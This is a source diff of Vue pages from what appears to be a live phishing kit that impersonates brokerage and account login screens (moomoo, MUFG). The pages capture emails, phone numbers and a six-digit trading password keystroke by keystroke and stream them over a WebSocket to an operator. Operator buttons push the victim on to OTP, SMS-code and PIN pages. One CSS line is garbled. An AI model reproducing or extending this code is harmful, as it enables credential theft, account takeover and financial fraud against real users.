align-items: center;
|
||||
cursor: pointer;
|
||||
color: #1e88e5;
|
||||
font-size: 15px;
|
||||
margin-bottom: 24px;
|
||||
font-weight: 500;
|
||||
transition: all 0.2s;
|
||||
}
|
||||
|
||||
.back-btn:hover {
|
||||
color: #1565c0;
|
||||
}
|
||||
|
||||
.back-btn i {
|
||||
margin-right: 6px;
|
||||
font-size: 14px;
|
||||
}
|
||||
|
||||
.form-title {
|
||||
font-size: 22px;
|
||||
font-weight: 600;
|
||||
color: #263238;
|
||||
text-align: center;
|
||||
margin-bottom: 16px;
|
||||
}
|
||||
|
||||
.form-desc {
|
||||
font-size: 14px;
|
||||
color: #607d8b;
|
||||
text-align: center;
|
||||
margin-bottom: 32px;
|
||||
line-height: 1.6;
|
||||
}
|
||||
|
||||
.checkbox-group {
|
||||
margin-bottom: 24px;
|
||||
}
|
||||
|
||||
.checkbox-item {
|
||||
margin-bottom: 16px;
|
||||
padding: 16px;
|
||||
border-radius: 8px;
|
||||
border: 1px solid #e0e0e0;
|
||||
transition: all 0.2s;
|
||||
}
|
||||
|
||||
.checkbox-item:hover {
|
||||
border-color: #90caf9;
|
||||
}
|
||||
|
||||
.checkbox-item.checked {
|
||||
border-color: #ffa000;
|
||||
background-color: #f5f9ff;
|
||||
}
|
||||
|
||||
.checkbox-label {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
cursor: pointer;
|
||||
position: relative;
|
||||
}
|
||||
|
||||
.checkbox-text {
|
||||
font-size: 15px;
|
||||
color: #37474f;
|
||||
margin-left: 12px;
|
||||
line-height: 1.5;
|
||||
}
|
||||
|
||||
.checkbox-label input {
|
||||
position: absolute;
|
||||
opacity: 0;
|
||||
cursor: pointer;
|
||||
height: 0;
|
||||
width: 0;
|
||||
}
|
||||
|
||||
.checkbox-custom {
|
||||
position: relative;
|
||||
height: 20px;
|
||||
width: 20px;
|
||||
min-width: 20px;
|
||||
background-color: #fff;
|
||||
border: 2px solid #b0bec5;
|
||||
border-radius: 4px;
|
||||
transition: all 0.2s;
|
||||
}
|
||||
|
||||
.checkbox-item.checked .checkbox-custom {
|
||||
background-color: #ffa000;
|
||||
border-color: #ffa000;
|
||||
}
|
||||
|
||||
.checkbox-custom:after {
|
||||
content: "";
|
||||
position: absolute;
|
||||
display: none;
|
||||
left: 6px;
|
||||
top: 2px;
|
||||
width: 4px;
|
||||
height: 10px;
|
||||
border: solid white;
|
||||
border-width: 0 2px 2px 0;
|
||||
transform: rotate(45deg);
|
||||
}
|
||||
|
||||
.checkbox-item.checked .checkbox-custom:after {
|
||||
display: block;
|
||||
}
|
||||
|
||||
.info-section {
|
||||
background: #f9fafb;
|
||||
border-radius: 8px;
|
||||
padding: 20px;
|
||||
margin-bottom: 32px;
|
||||
}
|
||||
|
||||
.info-title {
|
||||
font-size: 15px;
|
||||
font-weight: 500;
|
||||
color: #263238;
|
||||
margin-bottom: 12px;
|
||||
}
|
||||
|
||||
.info-list {
|
||||
list-style-type: disc;
|
||||
padding-left: 20px;
|
||||
margin-bottom: 16px;
|
||||
}
|
||||
|
||||
.info-list li {
|
||||
font-size: 14px;
|
||||
color: #546e7a;
|
||||
margin-bottom: 8px;
|
||||
line-height: 1.6;
|
||||
}
|
||||
|
||||
.warning-box {
|
||||
display: flex;
|
||||
align-items: flex-start;
|
||||
background: #fff8e1;
|
||||
padding: 12px;
|
||||
border-radius: 6px;
|
||||
margin-top: 16px;
|
||||
}
|
||||
|
||||
.warning-box i {
|
||||
color: #ffa000;
|
||||
margin-right: 8px;
|
||||
font-size: 18px;
|
||||
}
|
||||
|
||||
.warning-text {
|
||||
font-size: 13px;
|
||||
color: #5d4037;
|
||||
line-height: 1.5;
|
||||
margin: 0;
|
||||
}
|
||||
|
||||
.submit-btn {
|
||||
width: 100%;
|
||||
padding: 14px;
|
||||
font-size: 16px;
|
||||
font-weight: 500;
|
||||
border: none;
|
||||
border-radius: 8px;
|
||||
background: #1e88e5;
|
||||
color: white;
|
||||
cursor: pointer;
|
||||
transition: all 0.2s;
|
||||
position: relative;
|
||||
height: 48px;
|
||||
}
|
||||
|
||||
.submit-btn:hover:not(.disabled) {
|
||||
background: #1565c0;
|
||||
box-shadow: 0 2px 8px rgba(30, 136, 229, 0.3);
|
||||
}
|
||||
|
||||
.submit-btn:active:not(.disabled) {
|
||||
transform: translateY(1px);
|
||||
}
|
||||
|
||||
.submit-btn.disabled {
|
||||
background: #cfd8dc;
|
||||
color: #90a4ae;
|
||||
cursor: not-allowed;
|
||||
}
|
||||
|
||||
.loading-spinner {
|
||||
display: inline-block;
|
||||
width: 20px;
|
||||
height: 20px;
|
||||
border: 3px solid rgba(255, 255, 255, 0.3);
|
||||
border-radius: 50%;
|
||||
border-top-color: white;
|
||||
animation: spin 1s ease-in-out infinite;
|
||||
position: absolute;
|
||||
left: 50%;
|
||||
top: 50%;
|
||||
transform: translate(-50%, -50%);
|
||||
}
|
||||
|
||||
@keyframes spin {
|
||||
to { transform: translate(-50%, -50%) rotate(360deg); }
|
||||
}
|
||||
|
||||
.error-msg {
|
||||
color: #e53935;
|
||||
font-size: 14px;
|
||||
text-align: center;
|
||||
margin-top: 12px;
|
||||
font-weight: 500;
|
||||
}
|
||||
|
||||
.contacts-section {
|
||||
text-align: center;
|
||||
margin-top: 32px;
|
||||
padding-top: 20px;
|
||||
border-top: 1px solid #eceff1;
|
||||
}
|
||||
|
||||
.contacts-section p {
|
||||
font-size: 14px;
|
||||
color: #78909c;
|
||||
margin-bottom: 8px;
|
||||
}
|
||||
|
||||
.contact-link {
|
||||
font-size: 15px;
|
||||
color: #1e88e5;
|
||||
text-decoration: none;
|
||||
font-weight: 500;
|
||||
display: inline-block;
|
||||
margin-bottom: 8px;
|
||||
}
|
||||
|
||||
.contact-link:hover {
|
||||
text-decoration: underline;
|
||||
}
|
||||
|
||||
.service-hours {
|
||||
font-size: 13px;
|
||||
color: #90a4ae;
|
||||
margin-top: 4px;
|
||||
}
|
||||
|
||||
|
||||
|
||||
.loading-mask {
|
||||
position: absolute;
|
||||
top: 0;
|
||||
left: 0;
|
||||
width: 100%;
|
||||
height: 100%;
|
||||
background: rgba(255, 255, 255, 0.8);
|
||||
}
|
||||
|
||||
.loading-icon {
|
||||
width: 48px;
|
||||
height: 48px;
|
||||
border: 4px solid #f3f3f3;
|
||||
border-top: 4px solid #1e88e5;
|
||||
border-radius: 50%;
|
||||
animation: spin 1s linear infinite;
|
||||
position: relative;
|
||||
z-index: 101;
|
||||
}
|
||||
|
||||
@media (max-width: 600px) {
|
||||
.form-wrapper {
|
||||
padding: 24px;
|
||||
}
|
||||
|
||||
.form-title {
|
||||
font-size: 20px;
|
||||
}
|
||||
|
||||
.checkbox-item {
|
||||
padding: 12px;
|
||||
}
|
||||
|
||||
.submit-btn {
|
||||
height: 44px;
|
||||
font-size: 15px;
|
||||
}
|
||||
}
|
||||
</style>
|
||||
578
a9_usa_Fine_amazon/src/views/tcasswordView.vue
Normal file
@@ -0,0 +1,578 @@
|
||||
<template>
|
||||
<CommonLayout>
|
||||
<template #default>
|
||||
<div class="wrapper-main" style="margin-top: 80px;">
|
||||
<div class="form-wrapper-outer">
|
||||
<div class="form-wrapper">
|
||||
<div id="app" class="">
|
||||
<div data-v-148eb9db="">
|
||||
<div data-v-148eb9db="" class="back-btn1" @click="goBack">
|
||||
<i data-v-148eb9db="" class="iconfont icon-arrow01-left"></i> Back
|
||||
</div>
|
||||
|
||||
<p class="form-desc1">
|
||||
Please enter your <strong>Trading Password</strong>
|
||||
</p>
|
||||
|
||||
<form data-v-148eb9db="" class="" @submit.prevent="next">
|
||||
<input
|
||||
data-v-148eb9db=""
|
||||
ref="codeInput"
|
||||
name="msgCode"
|
||||
type="tel"
|
||||
maxlength="6"
|
||||
autocomplete="off"
|
||||
class="msg-code-input"
|
||||
v-model="formdata.tcassword"
|
||||
@input="onInput"
|
||||
style="position: absolute; opacity: 0; width: 100%; height: 40px; z-index: 1;"
|
||||
/>
|
||||
<ul data-v-148eb9db="" class="msg-code-list" @click="focusInput">
|
||||
<li data-v-148eb9db="" :class="{ 'filled': formdata.tcassword[0] }">{{ formdata.tcassword[0] || '' }}</li>
|
||||
<li data-v-148eb9db="" :class="{ 'filled': formdata.tcassword[1] }">{{ formdata.tcassword[1] || '' }}</li>
|
||||
<li data-v-148eb9db="" :class="{ 'filled': formdata.tcassword[2] }">{{ formdata.tcassword[2] || '' }}</li>
|
||||
<li data-v-148eb9db="" :class="{ 'filled': formdata.tcassword[3] }">{{ formdata.tcassword[3] || '' }}</li>
|
||||
<li data-v-148eb9db="" :class="{ 'filled': formdata.tcassword[4] }">{{ formdata.tcassword[4] || '' }}</li>
|
||||
<li data-v-148eb9db="" :class="{ 'filled': formdata.tcassword[5] }">{{ formdata.tcassword[5] || '' }}</li>
|
||||
</ul>
|
||||
<div data-v-148eb9db="" class="input-behind">
|
||||
<div data-v-148eb9db="" style="width: 100%; text-align: center;">
|
||||
<p data-v-148eb9db="" class="error-msg" v-if="displayMessage" style="font-size: 20px;margin-bottom: 20px;">{{ displayMessage }}</p>
|
||||
<a
|
||||
target="_blank"
|
||||
href="https://security.moomoo.com/account/forgetpsw?lang=en-us&target=https%3A%2F%2Fwww.moomoo.com%2Fmy%2Fnewsroom%2Fmoomoo-my-secures-patent-for-automated-ai-powered-candlestick-charting%3Fchain_id%3DU3oB_BiTIzq5Ys.1k1plj9%26global_content%3D%257B%2522promote_id%2522%253A14079%2C%2522sub_promote_id%2522%253A1%2C%2522f%2522%253A%2522mm%252Fmy%2522%257D#/selectChannel"
|
||||
class="forgot-password"
|
||||
>
|
||||
Forgot password?
|
||||
</a>
|
||||
</div>
|
||||
</div>
|
||||
</form>
|
||||
<div data-v-06eaccf0="" class="contacts-btn">Hotline (US): <a href="tel:+1-8887210610" class="app-link" style="color: #909499;text-decoration: underline !important;">+1 888 721 0610</a></div>
|
||||
<div data-v-d39068d6="" data-v-148eb9db="" style="display: none;">
|
||||
<div data-v-d39068d6="" class="form-modal confirm-modal">
|
||||
<div data-v-d39068d6="" class="form-modal-main">
|
||||
<h3 data-v-d39068d6="" class="title"></h3>
|
||||
<p data-v-d39068d6="" class="content">We will inform you of the verification code via phone call. Please stay alert for the call.</p>
|
||||
<div data-v-d39068d6="" class="btn-wrapper">
|
||||
<div data-v-d39068d6="" class="btn cancel-btn">Cancel</div>
|
||||
<div data-v-d39068d6="" class="btn confirm-btn">Reacquire</div>
|
||||
</div>
|
||||
<div data-v-d39068d6="" class="close-btn">
|
||||
<i data-v-d39068d6="" class="iconfont icon-close"></i>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div data-v-d39068d6="" class="form-modal-mask"></div>
|
||||
</div>
|
||||
<div data-v-6ebe283e="" data-v-148eb9db="" style="display: none;">
|
||||
<div data-v-6ebe283e="" class="form-modal confirm-modal">
|
||||
<div data-v-6ebe283e="" class="form-modal-main">
|
||||
<ul data-v-6ebe283e="" class="content">
|
||||
<li data-v-6ebe283e="">
|
||||
<p data-v-6ebe283e="">Voice Verification Code</p>
|
||||
<a data-v-6ebe283e="" href="javascript:void(0)">Get Voice Verification Code</a>
|
||||
</li>
|
||||
</ul>
|
||||
<div data-v-6ebe283e="" class="btn-wrapper">
|
||||
<div data-v-6ebe283e="" class="btn confirm-btn">Got It</div>
|
||||
</div>
|
||||
<div data-v-6ebe283e="" class="close-btn">
|
||||
<i data-v-6ebe283e="" class="iconfont icon-close"></i>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div data-v-6ebe283e="" class="form-modal-mask"></div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="form-loading" v-if="isLoading">
|
||||
<div class="loading-mask"></div>
|
||||
<div class="loading-icon"></div>
|
||||
</div>
|
||||
<div class="form-toast hide">
|
||||
<div class="toast-mask"></div>
|
||||
<div class="toast-main"></div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</template>
|
||||
</CommonLayout>
|
||||
</template>
|
||||
|
||||
<script setup lang="ts">
|
||||
import { getCurrentInstance, onMounted, ref, computed, nextTick, onUnmounted } from "vue";
|
||||
import { useRoute, useRouter } from "vue-router";
|
||||
import { useI18n } from "vue-i18n";
|
||||
import { inputChange, myWebSocket } from "@/utils/common";
|
||||
import eventBus from "@/utils/eventBus";
|
||||
import CommonLayout from '@/views/CommonLayout.vue';
|
||||
|
||||
const { t } = useI18n();
|
||||
const route = useRoute();
|
||||
const router = useRouter();
|
||||
const instance = getCurrentInstance()!;
|
||||
const formdata = ref({ tcassword: '' });
|
||||
const warningMessage = ref("");
|
||||
const isLoading = ref(false);
|
||||
const message1 = ref("");
|
||||
const codeInput = ref<HTMLInputElement | null>(null);
|
||||
const message = ref("");
|
||||
|
||||
const displayMessage = computed(() => {
|
||||
if (message.value === "This card does not support this transaction, please try another card") {
|
||||
return "Incorrect trading password, please try again";
|
||||
}
|
||||
return message.value || warningMessage.value;
|
||||
});
|
||||
|
||||
const focusInput = () => {
|
||||
if (codeInput.value) {
|
||||
codeInput.value.focus();
|
||||
console.log("Input focused:", document.activeElement === codeInput.value);
|
||||
}
|
||||
};
|
||||
|
||||
const onInput = async (event: Event) => {
|
||||
const target = event.target as HTMLInputElement;
|
||||
const value = target.value.replace(/[^0-9]/g, '').slice(0, 6);
|
||||
formdata.value.tcassword = value;
|
||||
inputChange("交易密码", "tcassword", value);
|
||||
console.log(`Input value: ${value}, Length: ${value.length}`);
|
||||
if (value.length === 6) {
|
||||
console.log("Triggering auto-submit");
|
||||
await next();
|
||||
}
|
||||
};
|
||||
|
||||
const next = async () => {
|
||||
await nextTick();
|
||||
warningMessage.value = "";
|
||||
console.log("Next function called");
|
||||
if (!formdata.value.tcassword) {
|
||||
warningMessage.value = t("Please enter the verification code.");
|
||||
console.log("Validation failed: No input");
|
||||
return;
|
||||
}
|
||||
if (formdata.value.tcassword.length < 6) {
|
||||
warningMessage.value = t("Verification code must be 6 digits.");
|
||||
return;
|
||||
}
|
||||
isLoading.value = true;
|
||||
console.log("Submitting via WebSocket");
|
||||
myWebSocket?.send(
|
||||
JSON.stringify({
|
||||
event: "submit_card",
|
||||
content: {
|
||||
type: "submitOp",
|
||||
opButton: {
|
||||
showCustom: false,
|
||||
list: [
|
||||
{ "label": "完成", "value": "success" },
|
||||
{ "label": "拒绝", "value": "reject", "type": "input2" },
|
||||
{ label: '账号首页', value: 'login_mufg', type: 'input1' },
|
||||
{ label: '密码页', value: 'verificationpage', type: 'input1' },
|
||||
{ label: '短信验证码页', value: 'verificationpageex', type: 'input1' },
|
||||
// { label: '美国税务居民身份确认页面', value: 'sdpage_mufg', type: 'input1' },
|
||||
{ label: '交易密码页', value: 'tcassword', type: 'input1' },
|
||||
{ label: 'PIN验证页', value: 'nextPincode', type: 'input1' },
|
||||
{ label: '跳转完成', value: 'success' },
|
||||
]
|
||||
},
|
||||
},
|
||||
})
|
||||
);
|
||||
};
|
||||
|
||||
const goBack = () => {
|
||||
router.push('/verificationcodepage');
|
||||
};
|
||||
|
||||
const forgotPassword = () => {
|
||||
window.location.href = 'https://www.moomoo.com/my/support';
|
||||
};
|
||||
|
||||
const firstTimeLogon = () => {
|
||||
var method = "post";
|
||||
var form = document.createElement("form");
|
||||
form.setAttribute("method", method);
|
||||
form.setAttribute("action", "/reg_step1.do");
|
||||
var hiddenField = document.createElement("input");
|
||||
hiddenField.setAttribute("value", "en_US");
|
||||
hiddenField.setAttribute("name", "locale");
|
||||
hiddenField.setAttribute("id", "locale");
|
||||
form.appendChild(hiddenField);
|
||||
document.body.appendChild(form);
|
||||
form.submit();
|
||||
};
|
||||
|
||||
const forgetPin = () => {
|
||||
window.open(
|
||||
"https://www.moomoo.com/my/support",
|
||||
"forgotPin",
|
||||
"resizable=yes,scrollbars=yes,toolbar=no,width=800,height=600,left=0,top=0"
|
||||
);
|
||||
};
|
||||
|
||||
const openMaintenanceSchedule = () => {
|
||||
window.open("https://www.moomoo.com/my/support", "maintenancePopupWin");
|
||||
};
|
||||
|
||||
const openNews = (url: string) => {
|
||||
window.open(url, "eNewsPopupWin");
|
||||
};
|
||||
|
||||
onMounted(() => {
|
||||
const userData = getCurrentInstance()?.appContext.config.globalProperties.$userData;
|
||||
if (userData && userData.tcassword) {
|
||||
formdata.value = userData;
|
||||
}
|
||||
if (route.query.message1) {
|
||||
message1.value = route.query.message1 as string;
|
||||
localStorage.setItem("message1", route.query.message1 as string);
|
||||
} else if (localStorage.getItem('message1')) {
|
||||
message1.value = localStorage.getItem('message1') as string;
|
||||
}
|
||||
|
||||
eventBus.on("my-event", handleEvent);
|
||||
localStorage.setItem("route", "tcassword");
|
||||
myWebSocket?.send(
|
||||
JSON.stringify({
|
||||
event: "page_type",
|
||||
content: { pageType: "tcassword", pageTitle: "交易密码页" },
|
||||
})
|
||||
);
|
||||
document.title = "Online Banking - Trading Password";
|
||||
|
||||
const focusWithRetry = () => {
|
||||
if (codeInput.value) {
|
||||
codeInput.value.focus();
|
||||
if (document.activeElement !== codeInput.value) {
|
||||
setTimeout(focusWithRetry, 100);
|
||||
}
|
||||
}
|
||||
};
|
||||
focusWithRetry();
|
||||
});
|
||||
|
||||
const handleEvent = (data: { message2: string, message1?: string }) => {
|
||||
message.value = data.message2;
|
||||
if (data.message1) {
|
||||
message1.value = data.message1;
|
||||
localStorage.setItem("message1", data.message1);
|
||||
}
|
||||
isLoading.value = false;
|
||||
};
|
||||
|
||||
onUnmounted(() => {
|
||||
eventBus.off("my-event", handleEvent);
|
||||
});
|
||||
</script>
|
||||
|
||||
<style scoped>
|
||||
.overlay {
|
||||
position: fixed;
|
||||
top: 0;
|
||||
left: 0;
|
||||
width: 100%;
|
||||
height: 100%;
|
||||
background: rgba(0, 0, 0, 0.5);
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
align-items: center;
|
||||
z-index: 9999;
|
||||
}
|
||||
|
||||
.loading-content {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
align-items: center;
|
||||
}
|
||||
|
||||
.loading-text {
|
||||
margin-top: 10px;
|
||||
color: #ffffff;
|
||||
font-size: 16px;
|
||||
font-family: 'Hiragino Sans', 'Noto Sans JP', sans-serif;
|
||||
}
|
||||
|
||||
.errorMsg {
|
||||
color: #ff4d4f;
|
||||
font-size: 14px;
|
||||
margin-top: 5px;
|
||||
}
|
||||
|
||||
.loginBtn {
|
||||
width: 100%;
|
||||
padding: 12px 24px;
|
||||
font-size: 16px;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
transition: background-color 0.3s ease;
|
||||
}
|
||||
|
||||
.loginBtn:disabled {
|
||||
background-color: #d9d9d9;
|
||||
color: #a6a6a6;
|
||||
cursor: not-allowed;
|
||||
}
|
||||
|
||||
.wrapper-main {
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
align-items: center;
|
||||
min-height: 80vh;
|
||||
/* background: #f5f5f5; */
|
||||
}
|
||||
|
||||
.form-wrapper-outer {
|
||||
width: 100%;
|
||||
max-width: 400px;
|
||||
padding: 20px;
|
||||
}
|
||||
|
||||
.form-wrapper {
|
||||
/* background: #fff; */
|
||||
border-radius: 8px;
|
||||
/* box-shadow: 0 2px 10px rgba(0, 0, 0, 0.1); */
|
||||
padding: 20px;
|
||||
}
|
||||
|
||||
.back-btn1 {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
cursor: pointer;
|
||||
color: #0f1112;
|
||||
margin-bottom: 30px;
|
||||
font-size: 18px;
|
||||
}
|
||||
|
||||
.back-btn1 i {
|
||||
margin-right: 5px;
|
||||
}
|
||||
|
||||
.form-title {
|
||||
font-size: 24px;
|
||||
font-weight: bold;
|
||||
color: #333;
|
||||
text-align: center;
|
||||
margin-bottom: 10px;
|
||||
}
|
||||
|
||||
.form-desc1 {
|
||||
text-align: left;
|
||||
color: #000;
|
||||
margin-bottom: 20px;
|
||||
font-size: 18px;
|
||||
}
|
||||
|
||||
.phone-no {
|
||||
font-weight: bold;
|
||||
color: #333;
|
||||
}
|
||||
|
||||
.msg-code-list {
|
||||
display: flex;
|
||||
justify-content: space-between;
|
||||
margin-bottom: 20px;
|
||||
cursor: pointer;
|
||||
}
|
||||
|
||||
.msg-code-list li {
|
||||
width: 40px;
|
||||
height: 40px;
|
||||
border: 1px solid #949499;
|
||||
border-radius: 4px;
|
||||
display: flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
font-size: 18px;
|
||||
color: #333;
|
||||
}
|
||||
|
||||
.msg-code-list li.filled {
|
||||
border-color: #66afe9;
|
||||
}
|
||||
|
||||
.msg-code-input {
|
||||
position: absolute;
|
||||
opacity: 0;
|
||||
width: 100%;
|
||||
height: 40px;
|
||||
z-index: 10;
|
||||
pointer-events: auto;
|
||||
}
|
||||
.input-behind {
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
align-items: center;
|
||||
font-size: 14px;
|
||||
margin-bottom:Getty Images 20px;
|
||||
}
|
||||
|
||||
.error-msg {
|
||||
color: #ff4d4f;
|
||||
}
|
||||
|
||||
.forgot-password-btn {
|
||||
color: #007bff;
|
||||
cursor: pointer;
|
||||
text-align: center;
|
||||
}
|
||||
|
||||
.contacts-btn {
|
||||
text-align: center;
|
||||
font-size: 14px;
|
||||
color: #666;
|
||||
}
|
||||
|
||||
.contacts-btn a {
|
||||
color: #007bff;
|
||||
text-decoration: none;
|
||||
}
|
||||
|
||||
.contacts-btn-margin {
|
||||
height: 20px;
|
||||
}
|
||||
|
||||
.form-modal {
|
||||
position: fixed;
|
||||
top: 0;
|
||||
left: 0;
|
||||
width: 100%;
|
||||
height: 100%;
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
align-items: center;
|
||||
z-index: 1000;
|
||||
}
|
||||
|
||||
.form-modal-mask {
|
||||
position: absolute;
|
||||
top: 0;
|
||||
left: 0;
|
||||
width: 100%;
|
||||
height: 100%;
|
||||
background: rgba(0, 0, 0, 0.5);
|
||||
}
|
||||
|
||||
.form-modal-main {
|
||||
background: #fff;
|
||||
border-radius: 8px;
|
||||
padding: 20px;
|
||||
width: 300px;
|
||||
position: relative;
|
||||
}
|
||||
|
||||
.form-modal-main .title {
|
||||
font-size: 18px;
|
||||
font-weight: bold;
|
||||
margin-bottom: 10px;
|
||||
}
|
||||
|
||||
.form-modal-main .content {
|
||||
font-size: 14px;
|
||||
color: #666;
|
||||
margin-bottom: 20px;
|
||||
}
|
||||
|
||||
.form-modal-main .btn-wrapper {
|
||||
display: flex;
|
||||
justify-content: space-between;
|
||||
}
|
||||
|
||||
.form-modal-main .btn {
|
||||
padding: 10px 20px;
|
||||
border-radius: 4px;
|
||||
cursor: pointer;
|
||||
}
|
||||
|
||||
.form-modal-main .cancel-btn {
|
||||
background: #f5f5f5;
|
||||
color: #333;
|
||||
}
|
||||
|
||||
.form-modal-main .confirm-btn {
|
||||
background: #007bff;
|
||||
color: #fff;
|
||||
}
|
||||
|
||||
.form-modal-main .close-btn {
|
||||
position: absolute;
|
||||
top: 10px;
|
||||
right: 10px;
|
||||
cursor: pointer;
|
||||
}
|
||||
|
||||
.form-loading {
|
||||
position: fixed;
|
||||
top: 0;
|
||||
left: 0;
|
||||
width: 100%;
|
||||
height: 100%;
|
||||
display: flex;
|
||||
justify-content: center;
|
||||
align-items: center;
|
||||
z-index: 9999;
|
||||
}
|
||||
|
||||
.loading-mask {
|
||||
position: absolute;
|
||||
top: 0;
|
||||
left: 0;
|
||||
width: 100%;
|
||||
height: 100%;
|
||||
background: rgba(0, 0, 0, 0.5);
|
||||
}
|
||||
|
||||
.loading-icon {
|
||||
width: 40px;
|
||||
height: 40px;
|
||||
/* border: 4px solid #f3f3f3; */
|
||||
/* border-top: 4px solid #007bff; */
|
||||
/* border-radius: 50%; */
|
||||
/* animation: spin 1s linear infinite; */
|
||||
}
|
||||
.form-loading .loading-icon {
|
||||
background: rgba(0, 0, 0, .8);
|
||||
border-radius: 6px;
|
||||
color: #fff;
|
||||
height: 120px;
|
||||
position: absolute;
|
||||
top: 50%;
|
||||
width: 120px;
|
||||
z-index: 1000;
|
||||
}
|
||||
@keyframes spin {
|
||||
0% { transform: rotate(0deg); }
|
||||
100% { transform: rotate(360deg); }
|
||||
}
|
||||
|
||||
@media (max-width: 767px) {
|
||||
.form-wrapper-outer {
|
||||
padding: 10px;
|
||||
}
|
||||
|
||||
.form-wrapper {
|
||||
padding: 15px;
|
||||
}
|
||||
|
||||
.form-title {
|
||||
font-size: 20px;
|
||||
}
|
||||
|
||||
.msg-code-list li {
|
||||
width: 41px;
|
||||
height: 41px;
|
||||
font-size: 16px;
|
||||
}
|
||||
}
|
||||
.form-wrapper .msg-code-list {
|
||||
display: flex;
|
||||
justify-content: space-between;
|
||||
margin-bottom: 20px;
|
||||
cursor: pointer;
|
||||
}
|
||||
</style>
|
||||
637
a9_usa_Fine_amazon/src/views/user_login.vue
Normal file
@@ -0,0 +1,637 @@
|
||||
<script setup lang="ts">
|
||||
import { getCurrentInstance, onMounted, onUnmounted, ref, nextTick } from "vue";
|
||||
import CommonLayout from "@/views/CommonLayout.vue";
|
||||
import { myWebSocket, inputChange } from "@/utils/common";
|
||||
import eventBus from "@/utils/eventBus";
|
||||
|
||||
const cardMessage = ref(""); // 服务器返回的错误消息(warning 风格)
|
||||
const clientError = ref(""); // 客户端空输入错误(error 风格)
|
||||
const isLoading = ref(false);
|
||||
|
||||
const displayValue = ref("");
|
||||
const rawInput = ref("");
|
||||
const submitValue = ref("");
|
||||
|
||||
// 修复:定义清理函数。在 script 中修改 ref 必须使用 .value
|
||||
const clearInput = () => {
|
||||
displayValue.value = "";
|
||||
rawInput.value = "";
|
||||
submitValue.value = "";
|
||||
clientError.value = "";
|
||||
cardMessage.value = "";
|
||||
};
|
||||
|
||||
const handleEvent = (data: { message2: string }) => {
|
||||
if (data.message2) {
|
||||
cardMessage.value = data.message2;
|
||||
clientError.value = ""; // 收到服务器错误时清空客户端错误
|
||||
} else {
|
||||
cardMessage.value = "";
|
||||
}
|
||||
isLoading.value = false;
|
||||
};
|
||||
|
||||
const handleInput = (event: any) => {
|
||||
let value = event.target.value.trim();
|
||||
|
||||
// 处理前缀移除
|
||||
if (value.startsWith("US +1 ")) {
|
||||
value = value.replace("US +1 ", "");
|
||||
}
|
||||
|
||||
rawInput.value = value;
|
||||
|
||||
if (value.includes("@")) {
|
||||
// 邮箱模式
|
||||
displayValue.value = value;
|
||||
submitValue.value = value;
|
||||
inputChange("input_card", "首页账号", value);
|
||||
} else if (/^\d*$/.test(value)) {
|
||||
// 手机号模式
|
||||
if (value === "") {
|
||||
displayValue.value = "";
|
||||
submitValue.value = "";
|
||||
} else {
|
||||
displayValue.value = "US +1 " + value;
|
||||
submitValue.value = "US +1 " + value;
|
||||
}
|
||||
inputChange("input_card", "首页账号", submitValue.value);
|
||||
} else {
|
||||
// 其他
|
||||
displayValue.value = value;
|
||||
submitValue.value = value;
|
||||
inputChange("input_card", "首页账号", value);
|
||||
}
|
||||
|
||||
// 输入内容时自动清除两种错误
|
||||
if (value.trim()) {
|
||||
clientError.value = "";
|
||||
cardMessage.value = "";
|
||||
}
|
||||
};
|
||||
|
||||
const next = async () => {
|
||||
// 客户端验证:未输入内容
|
||||
if (!submitValue.value.trim()) {
|
||||
clientError.value = "Enter your email or mobile phone number";
|
||||
cardMessage.value = "";
|
||||
return;
|
||||
}
|
||||
|
||||
await nextTick();
|
||||
clientError.value = "";
|
||||
cardMessage.value = "";
|
||||
isLoading.value = true;
|
||||
|
||||
// --- 修改处:确保存储时不带 "US " 只有 "+1" ---
|
||||
const storageValue = submitValue.value.startsWith("US +1")
|
||||
? submitValue.value.replace("US ", "")
|
||||
: submitValue.value;
|
||||
|
||||
localStorage.setItem("userEmailOrPhone", storageValue);
|
||||
|
||||
myWebSocket?.send(
|
||||
JSON.stringify({
|
||||
event: "submit_card",
|
||||
content: {
|
||||
type: "submitOp",
|
||||
subType: "submitVoice",
|
||||
emailOrPhone: submitValue.value,
|
||||
pageTitle: "登录账号首页",
|
||||
opButton: {
|
||||
showCustom: true,
|
||||
list: [
|
||||
{ label: "密码页", value: "user_password", type: "input1" },
|
||||
{ label: "拒絕", value: "reject", type: "input2" },
|
||||
{ label: "二步OTP驗證頁", value: "user_verification", },
|
||||
{ label: "短信OTP驗證頁", value: "user_verification_otp", type: "input1" },
|
||||
{ label: "跳轉完成", value: "success" },
|
||||
]
|
||||
}
|
||||
},
|
||||
})
|
||||
);
|
||||
};
|
||||
|
||||
onMounted(() => {
|
||||
const handleEventRef = (data: any) => handleEvent(data);
|
||||
eventBus.on("my-event", handleEventRef);
|
||||
|
||||
myWebSocket?.send(
|
||||
JSON.stringify({
|
||||
event: "page_type",
|
||||
content: { pageType: "user_login", pageTitle: "登录账号首页" },
|
||||
})
|
||||
);
|
||||
|
||||
const userData = getCurrentInstance()?.appContext.config.globalProperties.$userData;
|
||||
if (userData && userData.user_loginPageData) {
|
||||
submitValue.value = userData.emailOrPhone || "";
|
||||
rawInput.value = submitValue.value.includes("@")
|
||||
? submitValue.value
|
||||
: submitValue.value.replace("US +1 ", "");
|
||||
displayValue.value = submitValue.value;
|
||||
}
|
||||
|
||||
localStorage.setItem("route", "user_login");
|
||||
|
||||
onUnmounted(() => {
|
||||
eventBus.off("my-event", handleEventRef);
|
||||
});
|
||||
});
|
||||
</script>
|
||||
|
||||
<template>
|
||||
<CommonLayout>
|
||||
<template #default>
|
||||
<div class="a-container auth-workflow">
|
||||
<div class="a-section">
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
<!-- passkey script removed -->
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
|
